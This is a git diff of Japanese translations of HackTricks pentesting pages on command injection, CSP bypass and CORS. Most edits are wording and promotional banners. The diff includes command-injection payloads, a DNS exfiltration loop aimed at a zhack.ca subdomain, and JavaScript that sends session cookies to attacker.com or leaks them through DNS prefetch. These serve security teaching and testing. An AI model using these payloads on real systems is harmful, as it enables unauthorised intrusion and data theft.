diff --git a/pentesting-web/command-injection.md b/pentesting-web/command-injection.md index 4a40eafeb..37d230c46 100644 --- a/pentesting-web/command-injection.md +++ b/pentesting-web/command-injection.md @@ -4,30 +4,30 @@ htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**する。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** -
+
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## コマンドインジェクションとは? -**コマンドインジェクション**は、攻撃者がアプリケーションをホストするサーバーで任意のオペレーティングシステムコマンドを実行できるようにするものです。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドを実行することで、通常、攻撃者はアプリケーションの環境や基礎となるシステムに対して未承認のアクセスや制御を獲得することができます。 +**コマンドインジェクション** は、攻撃者がアプリケーションをホストするサーバーで任意のオペレーティングシステムコマンドを実行できるようにするものです。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基礎となるシステムに対して不正アクセスや制御を獲得することができます。 ### コンテキスト -**入力がどこにインジェクトされているか**によっては、コマンドの前に**クォートされたコンテキストを終了する**必要がある場合があります(`"`または`'`を使用)。 +**入力がどこにインジェクトされているかによって**、コマンドの前に **クォートされたコンテキストを終了する**必要がある場合があります(`"`または`'`を使用)。 ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -106,7 +106,7 @@ sys 0m0.000s ``` ### DNSベースのデータエクスフィルトレーション -`https://github.com/HoLyVieR/dnsbin`からのツールに基づいて、dnsbin.zhack.caでもホストされています。 +ツールは `https://github.com/HoLyVieR/dnsbin` から入手可能で、dnsbin.zhack.ca でもホストされています。 ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -116,6 +116,11 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` +DNSベースのデータエクスフィルトレーションをチェックするためのオンラインツール: + +* dnsbin.zhack.ca +* pingb.in + ### フィルタリング回避 #### Windows @@ -146,9 +151,9 @@ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 -* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする** +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する @@ -156,6 +161,6 @@ HackTricksをサポートする他の方法: \ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 02387e364..463fe1fbc 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする** +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに貢献する
@@ -25,17 +25,17 @@ HackTricks をサポートする他の方法: リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく **最新の発表**\ -最新のバグバウンティの開始や重要なプラットフォームの更新について知らされる +最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得る **[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう! ## CSPとは -Content Security Policy(CSP)は、主に **クロスサイトスクリプティング(XSS)などの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン(self)からのリソースの読み込みと実行、インラインリソースの実行、および `eval`、`setTimeout`、または `setInterval` などの関数を介した文字列コードの実行を許可する可能性があります。 +Content Security Policy(CSP)は、主に **クロスサイトスクリプティング(XSS)などの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン(self)からのリソースの読み込みと実行を許可し、インラインリソースや `eval`、`setTimeout`、`setInterval`などの関数を介して文字列コードの実行を許可する可能性があります。 -CSPの実装は、**レスポンスヘッダ**を介して行われるか、**HTMLページにメタ要素を組み込む**ことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。 +CSPの実装は、**レスポンスヘッダーを介して**または **HTMLページにメタ要素を組み込むことによって**行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。 -- レスポンスヘッダを介して実装されます: +- レスポンスヘッダーを介して実装されます: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -45,7 +45,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### ヘッダー -CSPはこれらのヘッダーを使用して強制または監視できます: +これらのヘッダーを使用してCSPを強制したり監視したりできます: - `Content-Security-Policy`:CSPを強制します。ブラウザは違反をブロックします。 - `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。 @@ -66,47 +66,47 @@ object-src 'none'; ``` ### ディレクティブ -- **script-src**: JavaScriptの特定ソース(URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプト)を許可します。 -- **default-src**: 特定のフェッチディレクティブが欠落している場合にリソースの取得のデフォルトポリシーを設定します。 -- **child-src**: Webワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。 -- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。 -- **frame-src**: フレームのURLを制限します。 -- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定し、``、` // The bot will load an URL with the payload @@ -517,15 +525,15 @@ console.log(prefix); run(); ``` -### ブックマークレットを介した攻撃 +### ブックマークレット経由 -この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。 +この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの**機密情報を盗み出す**ことができます。 -詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 +詳細は[**こちらのオリジナルレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 -### CSPの制限によるCSPバイパス +### CSP制限によるCSPバイパス -[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。 +[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して**任意のスクリプトを読み込む**ことが可能になりました。 IframeのCSPを**`csp`**属性で**制限**することができます: @@ -536,7 +544,7 @@ IframeのCSPを**`csp`**属性で**制限**することができます: {% endcode %} [**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\ -CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**削除**され、**nonce**を許可する**エントリ**が削除され、**特定のインラインスクリプトをsha経由で有効にできます**: +CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**エントリを削除**することで無効化でき、その後、**nonce**を許可し、**sha**を使用して特定のインラインスクリプトを有効にできます。 ```html `内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**脆弱な** **コールバック**エンドポイントを通じて**CSPをバイパス**してユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりする可能性があります。\ -この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。 +攻撃者は、このエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、``内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は、**CSPをバイパス**してユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりするために、**脆弱な** **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。\ +この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。 ## CSP Exfiltration Bypasses @@ -623,7 +631,7 @@ SOMEは、**ページのエンドポイント**でのXSS(または非常に制 ### Location -単に場所を更新して、秘密情報を攻撃者のサーバーに送信することができます: +単に**ロケーションを更新**して、秘密情報を攻撃者のサーバーに送信することができます: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; @@ -639,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid; ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\ ブラウザにホスト名を事前解決するよう指示することができます: `` -これを悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。 +この動作を悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。 ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; @@ -647,23 +655,27 @@ body.innerHTML = body.innerHTML + "pc.setLocalDescription(sdp); ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムのハックニュース**\ -リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう +リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう -**最新の発表**\ +**最新のアナウンスメント**\ 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう -**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう! +[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
-**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう! +**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキングを学びましょう**! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする -* **HackTricks** と **HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする +* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
diff --git a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 6845a1ebe..71340946b 100644 --- a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -7,8 +7,8 @@ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする** +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに @@ -19,7 +19,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` ### テキストと画像を通じて -現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されています(たとえば、背景の設定、中央揃えなど)。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特に、これらのページにはしばしばCSPヘッダーが欠けていることがあり、X-Frame-Optionsが含まれていない可能性があり、それらから任意のJavaScriptが実行される可能性があります。 +現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されています(たとえば、背景の設定、中央揃えなど)。その結果、`favicon.ico`や`robots.txt`などの画像やテキストファイルが`iframe`経由で開かれると、HTMLとしてレンダリングされます。特筆すべきは、これらのページにはしばしばCSPヘッダーが欠けていることやX-Frame-Optionsが含まれていないことがあり、それによりそれらから任意のJavaScriptが実行される可能性があることです。 ```javascript frame=document.createElement("iframe"); frame.src="/css/bootstrap.min.css"; @@ -30,7 +30,7 @@ window.frames[0].document.head.appendChild(script); ``` ### エラー経由 -同様に、テキストファイルや画像などのエラー応答は、通常、CSPヘッダーが付いておらず、X-Frame-Optionsが省略されている場合があります。エラーをiframe内で読み込むように誘導することができ、以下のアクションが可能です。 +同様に、テキストファイルや画像などのエラーレスポンスは、通常CSPヘッダーが付与されず、X-Frame-Optionsが省略されることがあります。エラーをiframe内で読み込むよう誘導することで、以下のアクションが可能になります。 ```javascript // Inducing an nginx error frame=document.createElement("iframe"); @@ -65,12 +65,12 @@ window.frames[0].document.head.appendChild(script); ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする。** -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。** +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 7cdcb61b8..09b571d73 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -2,27 +2,27 @@
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 -- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
## CORSとは? -Cross-Origin Resource Sharing(CORS)標準は、**サーバーがアクセスを許可するクライアント**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。 +Cross-Origin Resource Sharing(CORS)標準は、**サーバーがアクセスできるユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義することを可能にします。 -**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**(例:80)を共有している必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。 +**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**(例:80)を共有することを義務付けます。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。 -`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーの適用例: +`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります: -| アクセスされたURL | アクセスが許可されるか? | +| アクセスされるURL | アクセスが許可されるか? | | ----------------------------------------- | ---------------------------------- | | `http://normal-website.com/example/` | はい:同一のスキーム、ドメイン、およびポート | | `http://normal-website.com/example2/` | はい:同一のスキーム、ドメイン、およびポート | @@ -31,13 +31,13 @@ Cross-Origin Resource Sharing(CORS)標準は、**サーバーがアクセス | `http://www.normal-website.com/example/` | いいえ:異なるドメイン | | `http://normal-website.com:8080/example/` | いいえ:異なるポート* | -*Internet Explorerは同一オリジンポリシーでポート番号を無視し、このアクセスを許可します。 +*Internet Explorerは同一オリジンポリシーにおいてポート番号を無視し、このアクセスを許可します。 ### `Access-Control-Allow-Origin`ヘッダー -このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**の対象です(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。 +このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**されています(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。 -このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。 +このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーから発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。 ### `Access-Control-Allow-Credentials`ヘッダー @@ -74,11 +74,11 @@ xhr.send('Arun'); ### クロスドメイン通信におけるプリフライトリクエストの理解 -特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**(HEAD、GET、POST以外のもの)、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。 +特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**(HEAD、GET、POST以外のもの)、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーに将来のクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。 -**Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) が提供する包括的なガイドを参照してください。 +**クロスオリジンリソース共有(CORS)**プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) で提供されている包括的なガイドを参照してください。 -重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。 +重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力が制限されます。 以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を示しています: ``` @@ -102,20 +102,9 @@ Access-Control-Max-Age: 240 - 